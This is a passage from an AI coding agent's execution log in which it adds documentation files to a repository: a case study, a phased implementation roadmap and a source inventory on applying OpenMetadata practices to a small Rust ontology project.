target;\n[2026-07-12T04:06:07.390Z] [INFO] +- no scheduler until at least two recurring connectors exist;\n[2026-07-12T04:06:07.390Z] [INFO] +- no distributed components until independent scaling or availability is a\n[2026-07-12T04:06:07.390Z] [INFO] +  documented requirement;\n[2026-07-12T04:06:07.390Z] [INFO] +- no authorization engine until mutations cross a service boundary.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R9: verifiability\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** each implementation slice starts with fixtures and failing tests.\n[2026-07-12T04:06:07.390Z] [INFO] +All imports expose provenance and a dry-run report. Diagnostics have stable\n[2026-07-12T04:06:07.390Z] [INFO] +codes. Benchmarks, not analogy, trigger infrastructure.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R10: single-PR execution\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** PR 6 contains the complete research deliverable and future plans.\n[2026-07-12T04:06:07.390Z] [INFO] +The product slices remain separately reviewable future work because implementing\n[2026-07-12T04:06:07.390Z] [INFO] +all of OpenMetadata's capabilities would violate R8 and the issue asks for\n[2026-07-12T04:06:07.390Z] [INFO] +solution proposals/plans, not a platform rewrite.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Prioritized implementation roadmap\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 0: accept this architecture record\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Deliverables:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- this case study and source inventory;\n[2026-07-12T04:06:07.390Z] [INFO] +- explicit decisions and deferrals;\n[2026-07-12T04:06:07.390Z] [INFO] +- tracked follow-up issues for approved phases.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance: documentation links pass; local CI passes; reviewers can trace each\n[2026-07-12T04:06:07.390Z] [INFO] +requirement to a delivered artifact.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 1: versioned identity and validation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Dependencies: none.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. Add failing fixtures for duplicate IDs, dangling edges, invalid relation\n[2026-07-12T04:06:07.390Z] [INFO] +   domain/range, ambiguous aliases, and unsupported schema versions.\n[2026-07-12T04:06:07.390Z] [INFO] +2. Introduce `ConceptId`, dataset `schema_version`, lifecycle state, and source\n[2026-07-12T04:06:07.390Z] [INFO] +   location without changing CLI display behavior.\n[2026-07-12T04:06:07.390Z] [INFO] +3. Add layered validators and stable diagnostic codes.\n[2026-07-12T04:06:07.390Z] [INFO] +4. Add `validate --format human|json` and golden reports.\n[2026-07-12T04:06:07.390Z] [INFO] +5. Provide a migration for current lino fixtures.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- all current data migrates without semantic loss;\n[2026-07-12T04:06:07.390Z] [INFO] +- invalid fixtures fail at the intended validation layer;\n[2026-07-12T04:06:07.390Z] [INFO] +- a rename preserves ID-based references;\n[2026-07-12T04:06:07.390Z] [INFO] +- CLI output remains backward compatible unless explicitly versioned.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 2: provenance and deterministic changes\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Dependencies: Phase 1.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. Model source URI/document, agent, time, review state, license note, and\n[2026-07-12T04:06:07.390Z] [INFO] +   content fingerprint.\n[2026-07-12T04:06:07.390Z] [INFO] +2. Test create/update/unchanged/deprecate decisions before implementation.\n[2026-07-12T04:06:07.390Z] [INFO] +3. Add dry-run diff and newline-delimited JSON change export.\n[2026-07-12T04:06:07.390Z] [INFO] +4. Ensure identical imports are idempotent and deterministic.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance: importing the same fixture twice produces zero updates on the\n[2026-07-12T04:06:07.390Z] [INFO] +second run; every changed assertion points to source evidence.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 3: one connector contract\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Dependencies: Phases 1-2.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. Define typed source configuration, capability declaration, checkpoint, raw\n[2026-07-12T04:06:07.390Z] [INFO] +   record, normalized candidate, and structured error contracts.\n[2026-07-12T04:06:07.390Z] [INFO] +2. Build one fixture-backed connector end to end.\n[2026-07-12T04:06:07.390Z] [INFO] +3. Test partial failures, secret redaction, retry classification, dry run, and\n[2026-07-12T04:06:07.390Z] [INFO] +   resume behavior.\n[2026-07-12T04:06:07.390Z] [INFO] +4. Document how a second connector would be added without core-model changes.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance: two unchanged runs are idempotent; invalid records are quarantined\n[2026-07-12T04:06:07.390Z] [INFO] +with evidence; no source-specific field enters the core model without a general\n[2026-07-12T04:06:07.390Z] [INFO] +domain reason.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 4: interchange\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Dependencies: Phase 1; provenance fields from Phase 2 recommended.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. Generate or maintain JSON Schema for the stable public model.\n[2026-07-12T04:06:07.390Z] [INFO] +2. Add JSON import/export round-trip fixtures.\n[2026-07-12T04:06:07.390Z] [INFO] +3. Map a deliberately small RDF/OWL/PROV-O subset and publish loss reports.\n[2026-07-12T04:06:07.390Z] [INFO] +4. Evaluate SHACL export for constraints; do not claim lossless round trips\n[2026-07-12T04:06:07.390Z] [INFO] +   until tests prove them.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance: schema validation runs in CI; JSON round trips preserve IDs and\n[2026-07-12T04:06:07.390Z] [INFO] +relationships; semantic exports declare unsupported/lossy fields.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 5: service API (existing roadmap M3)\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Dependencies: stable Phases 1-4 contracts.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. Specify OpenAPI and error/pagination/concurrency conventions first.\n[2026-07-12T04:06:07.390Z] [INFO] +2. Implement read-only resources in `axum` over the library.\n[2026-07-12T04:06:07.390Z] [INFO] +3. Add mutation/import endpoints only with authentication, authorization,\n[2026-07-12T04:06:07.390Z] [INFO] +   limits, audit changes, and threat tests.\n[2026-07-12T04:06:07.390Z] [INFO] +4. Add health/readiness, structured logs, metrics, backup, and migration docs.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance: generated client contract tests pass; malformed/expensive requests\n[2026-07-12T04:06:07.390Z] [INFO] +are bounded; library, CLI, and API return semantically consistent entities.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 6: search and UI (existing roadmap M4)\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Dependencies: representative corpus and measured UX needs.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. Specify query semantics and benchmark linear search.\n[2026-07-12T04:06:07.390Z] [INFO] +2. Add a `SearchIndex` abstraction only if needed.\n[2026-07-12T04:06:07.390Z] [INFO] +3. Evaluate Tantivy if the baseline misses the target.\n[2026-07-12T04:06:07.390Z] [INFO] +4. Build UI against the public API/model, including provenance and validation\n[2026-07-12T04:06:07.390Z] [INFO] +   state rather than hiding them.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance: a recorded benchmark justifies any new index; search relevance has\n[2026-07-12T04:06:07.390Z] [INFO] +golden queries; the UI has browser tests and accessibility checks.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 7: governance enforcement and operations\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Dependencies: mutating service and real multi-user requirements.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. Turn owner, lifecycle, classification, and policy references into evaluated\n[2026-07-12T04:06:07.390Z] [INFO] +   actor/resource/operation rules.\n[2026-07-12T04:06:07.390Z] [INFO] +2. Add audit retention and policy decision tests.\n[2026-07-12T04:06:07.390Z] [INFO] +3. Add connector scheduling only when recurring jobs require it.\n[2026-07-12T04:06:07.390Z] [INFO] +4. Document upgrades, restore drills, incident response, and supported versions.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance: deny/allow tests cover every mutation class; restore drills recover\n[2026-07-12T04:06:07.390Z] [INFO] +data and history; operational objectives are explicit.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Cross-cutting test strategy\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- Unit tests: IDs, normalization, fingerprints, rules, diagnostic codes.\n[2026-07-12T04:06:07.390Z] [INFO] +- Property tests: parser/serializer round trips and arbitrary graph safety.\n[2026-07-12T04:06:07.390Z] [INFO] +- Golden fixtures: version migrations, import reports, API schemas.\n[2026-07-12T04:06:07.390Z] [INFO] +- Integration tests: source-to-normalized-to-validated-to-change pipeline.\n[2026-07-12T04:06:07.390Z] [INFO] +- Compatibility tests: old lino data and public CLI behavior.\n[2026-07-12T04:06:07.390Z] [INFO] +- Security tests: payload limits, traversal bounds, secret redaction, policy.\n[2026-07-12T04:06:07.390Z] [INFO] +- Benchmarks: loader, validation, traversal, and search before optimization.\n[2026-07-12T04:06:07.390Z] [INFO] +- WASM tests: dependencies and public types compile for the M4 target.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Final recommendation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Approve Phases 1 and 2 as the first product follow-up. They create the stable\n[2026-07-12T04:06:07.390Z] [INFO] +identity, validation, and evidence foundation required by every later practice.\n[2026-07-12T04:06:07.390Z] [INFO] +Do not begin with connectors, HTTP, search, or deployment infrastructure: doing\n[2026-07-12T04:06:07.390Z] [INFO] +so would freeze weak contracts behind expensive boundaries.\n[2026-07-12T04:06:07.390Z] [INFO] *** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:06:07.390Z] [INFO] +{\n[2026-07-12T04:06:07.390Z] [INFO] +  \"observed_at\": \"2026-07-12\",\n[2026-07-12T04:06:07.390Z] [INFO] +  \"url\": \"https://github.com/link-foundation/meta-ontology/issues/5\",\n[2026-07-12T04:06:07.390Z] [INFO] +  \"number\": 5,\n[2026-07-12T04:06:07.390Z] [INFO] +  \"state\": \"OPEN\",\n[2026-07-12T04:06:07.390Z] [INFO] +  \"title\": \"We should use best practices from https://github.com/open-metadata/OpenMetadata\",\n[2026-07-12T04:06:07.390Z] [INFO] +  \"labels\": [\"documentation\", \"enhancement\"],\n[2026-07-12T04:06:07.390Z] [INFO] +  \"comment_count\": 0,\n[2026-07-12T04:06:07.390Z] [INFO] +  \"requirements_from_body\": [\n[2026-07-12T04:06:07.390Z] [INFO] +    \"Collect issue-related data under docs/case-studies/issue-{id}.\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"Perform deep case study analysis and search online for additional facts and data.\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"List every requirement from the issue.\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"Propose solutions and solution plans for every requirement.\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"Check existing components and libraries that solve similar problems or can help.\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"Plan and execute the complete deliverable in one pull request.\"\n[2026-07-12T04:06:07.390Z] [INFO] +  ]\n[2026-07-12T04:06:07.390Z] [INFO] +}\n[2026-07-12T04:06:07.390Z] [INFO] *** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:06:07.390Z] [INFO] +{\n[2026-07-12T04:06:07.390Z] [INFO] +  \"observed_at\": \"2026-07-12\",\n[2026-07-12T04:06:07.390Z] [INFO] +  \"meta_ontology\": {\n[2026-07-12T04:06:07.390Z] [INFO] +    \"repository\": \"link-foundation/meta-ontology\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"default_branch\": \"main\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"default_branch_commit\": \"04e732e\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"prepared_branch\": \"issue-5-e2602184e2c5\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"pull_request\": 6,\n[2026-07-12T04:06:07.390Z] [INFO] +    \"pull_request_state_at_collection\": \"OPEN_DRAFT\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"issue_comments\": 0,\n[2026-07-12T04:06:07.390Z] [INFO] +    \"pull_request_conversation_comments\": 0,\n[2026-07-12T04:06:07.390Z] [INFO] +    \"pull_request_inline_comments\": 0,\n[2026-07-12T04:06:07.390Z] [INFO] +    \"pull_request_reviews\": 0\n[2026-07-12T04:06:07.390Z] [INFO] +  },\n[2026-07-12T04:06:07.390Z] [INFO] +  \"openmetadata\": {\n[2026-07-12T04:06:07.390Z] [INFO] +    \"repository\": \"open-metadata/OpenMetadata\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"default_branch\": \"main\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"license_spdx\": \"Apache-2.0\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"latest_github_release\": \"1.13.1-release\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"latest_release_published_at\": \"2026-06-27T11:35:50Z\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"relevant_top_level_areas\": [\n[2026-07-12T04:06:07.390Z] [INFO] +      \"openmetadata-spec\",\n[2026-07-12T04:06:07.390Z] [INFO] +      \"openmetadata-service\",\n[2026-07-12T04:06:07.390Z] [INFO] +      \"ingestion\",\n[2026-07-12T04:06:07.390Z] [INFO] +      \"openmetadata-ui\",\n[2026-07-12T04:06:07.390Z] [INFO] +      \"openmetadata-clients\",\n[2026-07-12T04:06:07.390Z] [INFO] +      \"openmetadata-dist\",\n[2026-07-12T04:06:07.390Z] [INFO] +      \"docker\"\n[2026-07-12T04:06:07.390Z] [INFO] +    ]\n[2026-07-12T04:06:07.390Z] [INFO] +  },\n[2026-07-12T04:06:07.390Z] [INFO] +  \"notes\": [\n[2026-07-12T04:06:07.390Z] [INFO] +    \"Counts and latest-release facts are time-sensitive and must be rechecked before implementation.\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"No upstream source files are copied into this repository; primary links and derived observations are preserved instead.\"\n[2026-07-12T04:06:07.390Z] [INFO] +  ]\n[2026-07-12T04:06:07.390Z] [INFO] +}\n[2026-07-12T04:06:07.390Z] [INFO] *** Add File: /tmp/gh-issue-solver-1783828904396/changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:06:07.390Z] [INFO] +---\n[2026-07-12T04:06:07.390Z] [INFO] +bump: patch\n[2026-07-12T04:06:07.390Z] [INFO] +---\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Added\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- Added an issue 5 case study that evaluates transferable OpenMetadata practices,\n[2026-07-12T04:06:07.390Z] [INFO] +  preserves research observations, inventories reusable standards and Rust\n[2026-07-12T04:06:07.390Z] [INFO] +  components, and provides a phased implementation plan.\n[2026-07-12T04:06:07.390Z] [INFO] *** End Patch duration_ms=78 success=true output=Exit code: 0\n[2026-07-12T04:06:07.390Z] [INFO] Wall time: 0.1 seconds\n[2026-07-12T04:06:07.390Z] [INFO] Output:\n[2026-07-12T04:06:07.390Z] [INFO] Success. Updated the following files:\n[2026-07-12T04:06:07.390Z] [INFO] A /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/README.md\n[2026-07-12T04:06:07.390Z] [INFO] A /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:06:07.390Z] [INFO] A /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:06:07.390Z] [INFO] A /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:06:07.390Z] [INFO] A /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:06:07.390Z] [INFO] A /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:06:07.390Z] [INFO] A /tmp/gh-issue-solver-1783828904396/changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:06:07.390Z] [INFO] D /tmp/gh-issue-solver-1783828904396/.gitkeep\n[2026-07-12T04:06:07.390Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:07.323Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:07.390Z] [INFO] 2026-07-12T04:06:07.323557Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=apply_patch call_id=exec-2a0e4d3e-8542-4565-ab65-587fc39f1403 duration_ms=78 success=true arguments_length=38861 output_length=734 output_line_count=12 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:07.323Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:07.390Z] [INFO] \n[2026-07-12T04:06:07.473Z] [INFO] 2026-07-12T04:06:07.388150Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:06:07.473Z] [INFO] \n[2026-07-12T04:06:07.482Z] [INFO] 2026-07-12T04:06:07.411548Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_DEIkknavGwraQTaK8nJaBIzd arguments=const patch = \"*** Begin Patch\\n*** Delete File: /tmp/gh-issue-solver-1783828904396/.gitkeep\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/README.md\\n+# Issue 5 Case Study: Applying OpenMetadata Practices\\n+\\n+## Summary\\n+\\n+Issue: [link-foundation/meta-ontology#5](https://github.com/link-foundation/meta-ontology/issues/5)\\n+\\n+OpenMetadata is a mature metadata platform, while this repository is a small,\\n+Links Notation-based ontology. The useful lesson is therefore not to copy its\\n+Java/Python/TypeScript service stack. It is to adopt its boundaries: a canonical\\n+schema, stable entity identity, explicit relationships, versioned changes,\\n+connector isolation, API-first access, governance metadata, and automated\\n+quality checks.\\n+\\n+The recommended sequence is deliberately incremental. Strengthen the current\\n+in-process Rust model and lino data first; add interchange and ingestion\\n+contracts next; add persistence, search, HTTP, and a UI only when their roadmap\\n+milestones and measured usage justify the operational cost.\\n+\\n+Research was performed on 2026-07-12. OpenMetadata is fast-moving, so facts\\n+that can change are pinned to the observation date and links to primary sources.\\n+\\n+## Collected Data\\n+\\n+- [`source-inventory.md`](source-inventory.md) records the issue, PR, repository,\\n+  release, documentation, and source-code evidence consulted.\\n+- [`openmetadata-analysis.md`](openmetadata-analysis.md) describes transferable\\n+  practices, mismatches, risks, and existing components that can help.\\n+- [`requirements-and-solutions.md`](requirements-and-solutions.md) enumerates\\n+  every explicit and implied requirement and gives a solution and staged plan.\\n+- [`raw-data/issue-5.json`](raw-data/issue-5.json) preserves the issue snapshot.\\n+- [`raw-data/research-observations.json`](raw-data/research-observations.json)\\n+  preserves time-sensitive repository and PR observations in a compact,\\n+  reviewable form.\\n+\\n+No issue comments, PR conversation comments, inline review comments, or PR\\n+reviews existed when collected.\\n+\\n+## Findings\\n+\\n+### Practices to adopt now\\n+\\n+1. **Schema-first domain model.** Validate every persisted concept, definition,\\n+   mapping, language exponent, and relationship against a versioned contract.\\n+2. **Stable identity separate from display names.** Renames must not break\\n+   mappings, definitions, lineage, or future external references.\\n+3. **Typed graph edges.** Replace implicit string conventions with a small,\\n+   documented relation vocabulary and validate edge endpoints.\\n+4. **Provenance and change history.** Record source, author/agent, timestamp,\\n+   schema version, and change reason. Emit a deterministic change record when\\n+   loading or updating data.\\n+5. **Layered validation.** Separate parse validity, schema validity, graph\\n+   integrity, semantic quality, and repository word coverage so failures are\\n+   actionable.\\n+6. **Connector boundary.** Future importers should produce the same normalized\\n+   intermediate model; source-specific code must not leak into the core graph.\\n+7. **Contract-driven interfaces.** The library remains authoritative. CLI,\\n+   future HTTP, WASM, and importers consume the same service contracts.\\n+8. **Governance primitives.** Ownership, lifecycle state, classifications, and\\n+   policy references should be ordinary metadata, not UI-only annotations.\\n+\\n+### Practices to defer\\n+\\n+- A separate database and search index until the corpus or query latency needs it.\\n+- A workflow scheduler until multiple repeatable external ingestion jobs exist.\\n+- Microservices, event buses, and Kubernetes until deployment requirements demand\\n+  independent scaling or availability.\\n+- A broad connector catalog before one end-to-end connector contract is proven.\\n+- Enterprise RBAC before the HTTP service exists; design authorization fields now,\\n+  enforce them at the service boundary later.\\n+\\n+## Target Architecture\\n+\\n+```text\\n+source files / future connectors\\n+              |\\n+              v\\n+      normalized import records\\n+              |\\n+              v\\n+ parse -> schema -> graph -> semantic validation\\n+              |\\n+              v\\n+     versioned ontology service\\n+       /          |          \\\\\\n+     CLI       future API    WASM/UI\\n+                  |\\n+          optional persistence/search\\n+```\\n+\\n+The pipeline is the important boundary. Each consumer sees one validated model;\\n+each importer produces one normalized representation.\\n+\\n+## Decision Matrix\\n+\\n+| OpenMetadata practice | Fit | Decision |\\n+| --- | --- | --- |\\n+| Canonical schema and generated/typed models | High | Adopt incrementally |\\n+| Stable IDs, names, ownership, tags, versions | High | Add to domain model |\\n+| Typed relationships and lineage | High | Add a relation vocabulary |\\n+| Source-to-sink connector topology | High | Adapt as a small Rust trait pipeline |\\n+| REST resources and JSON Patch | Medium | Design contracts now; implement at M3 |\\n+| Change events and webhooks | Medium | Start with deterministic local events |\\n+| Data quality tests and observability | Medium | Adapt to ontology integrity rules |\\n+| Search index | Low today | Keep an interface; defer infrastructure |\\n+| Airflow-style workflow scheduling | Low today | Defer |\\n+| Full production deployment stack | Low today | Do not copy |\\n+\\n+## Completion Criteria\\n+\\n+This case study satisfies issue 5 when it:\\n+\\n+- preserves issue- and PR-related observations under this directory;\\n+- uses current primary online sources and distinguishes observations from\\n+  recommendations;\\n+- enumerates all issue requirements;\\n+- evaluates OpenMetadata practices against this repository rather than merely\\n+  summarizing OpenMetadata;\\n+- identifies reusable standards, crates, and libraries;\\n+- supplies a prioritized, testable implementation plan for every requirement.\\n+\\n+The analysis and plan meet those criteria. Product changes are intentionally\\n+proposed as future slices rather than bundled into this research PR.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/source-inventory.md\\n+# Source Inventory and Research Method\\n+\\n+## Method\\n+\\n+The investigation used the GitHub API/CLI for repository state and official\\n+OpenMetadata documentation and source repositories for technical claims.\\n+Marketing claims and time-sensitive counts are treated as observations, not as\\n+architecture requirements. Access date for every online source: 2026-07-12.\\n+\\n+## Local issue and pull request\\n+\\n+| Evidence | Observation |\\n+| --- | --- |\\n+| [Issue 5](https://github.com/link-foundation/meta-ontology/issues/5) | Open; asks for data collection, deep online research, complete requirements, solution options, plans, and component/library evaluation in one PR |\\n+| [PR 6](https://github.com/link-foundation/meta-ontology/pull/6) | Draft placeholder on branch `issue-5-e2602184e2c5` at collection time |\\n+| Issue comments API | No comments |\\n+| PR review comments API | No inline comments |\\n+| PR conversation comments API | No comments |\\n+| PR reviews API | No reviews |\\n+| [Issue 1 case study](../issue-1/README.md) | Establishes this repository's requirements/research/plan precedent |\\n+| [Issue 3 case study](../issue-3/README.md) | Establishes the collected-evidence and explicit-root-cause precedent |\\n+\\n+## OpenMetadata repository snapshot\\n+\\n+The [OpenMetadata repository](https://github.com/open-metadata/OpenMetadata)\\n+reported Apache-2.0 licensing, `main` as its default branch, and a multi-language\\n+codebase. The latest GitHub release observed was\\n+[`1.13.1-release`](https://github.com/open-metadata/OpenMetadata/releases/tag/1.13.1-release),\\n+published 2026-06-27. Counts such as stars, forks, connectors, schemas, or open\\n+issues are intentionally not used to choose this repository's architecture.\\n+\\n+Relevant upstream areas:\\n+\\n+- [`openmetadata-spec`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-spec):\\n+  canonical JSON Schemas and generated model inputs.\\n+- [`openmetadata-service`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-service):\\n+  server, repositories, APIs, authorization, and event handling.\\n+- [`ingestion`](https://github.com/open-metadata/OpenMetadata/tree/main/ingestion):\\n+  connector and workflow framework.\\n+- [`openmetadata-ui`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-ui):\\n+  web application kept separate from the metadata service.\\n+- [`openmetadata-clients`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-clients):\\n+  generated/client-facing access layers.\\n+- [Contribution guide](https://docs.open-metadata.org/v1.12.x/developers/contribute):\\n+  issue-based contribution and local build/test workflow.\\n+\\n+## Primary technical documentation\\n+\\n+| Topic | Source | Evidence used |\\n+| --- | --- | --- |\\n+| Metadata standard | [Metadata Standard](https://docs.open-metadata.org/v1.11.x/api-reference/main-concepts/metadata-standard) | Canonical, language-neutral schemas drive generated models and APIs |\\n+| REST conventions | [APIs](https://docs.open-metadata.org/v1.12.x/api-reference/main-concepts/metadata-standard/apis) | Schema-first resources, versioned `/api/v1` namespace, consistent collection/instance URIs |\\n+| Connector architecture | [Metadata ingestion deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/metadata-ingestion) | Source-to-sink pipeline, topology, result/error handling, fingerprint-based incremental ingestion |\\n+| Ingestion capabilities | [Ingestion overview](https://docs.open-metadata.org/v1.12.x/connectors/ingestion) | Metadata, usage, lineage, profiling, quality, and versioning are distinct workflows |\\n+| Lineage | [Lineage deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/lineage-ingestion) | Relationships are extracted, resolved, and published as graph data |\\n+| Connector schemas | [Define the JSON Schema](https://docs.open-metadata.org/latest/developers/contribute/developing-a-new-connector/define-json-schema) | One connection schema generates consistent Java, Python, and TypeScript types |\\n+| Governance | [Data Governance](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance) | Glossaries, classifications, ownership, and policies are first-class concepts |\\n+| Glossary semantics | [Glossary Term](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/glossary/glossary-term) | Definitions, synonyms, related terms, tags, and references form a semantic graph |\\n+| Domains | [Domains and Data Products](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/domains-%26-data-products) | Domain ownership and discoverable, documented products support decentralized stewardship |\\n+| Authorization | [Roles and Policies](https://docs.open-metadata.org/v1.12.x/how-to-guides/admin-guide/roles-policies) | Authorization evaluates actor, resource attributes, and operation |\\n+| Quality model | [Data Quality API](https://docs.open-metadata.org/v1.12.x/api-reference/data-quality) | Reusable definitions, applied cases, suites, and results separate rule from execution |\\n+| Observability | [Quality and Observability](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-quality-observability) | Tests, profiling, alerts, and incident handling form a feedback loop |\\n+| Deployment/security | [Deployment](https://docs.open-metadata.org/v1.12.x/deployment) and [Security](https://docs.open-metadata.org/v1.12.x/deployment/security) | Production operations and identity-provider integration are explicit concerns |\\n+\\n+## External standards and candidate components\\n+\\n+These are evaluated as interoperability options, not mandatory dependencies.\\n+\\n+| Need | Candidate | Intended use |\\n+| --- | --- | --- |\\n+| Data contract validation | [JSON Schema 2020-12](https://json-schema.org/draft/2020-12) | Portable interchange schema; keep lino canonical if desired |\\n+| Semantic graph exchange | [RDF 1.2](https://www.w3.org/TR/rdf12-concepts/) / 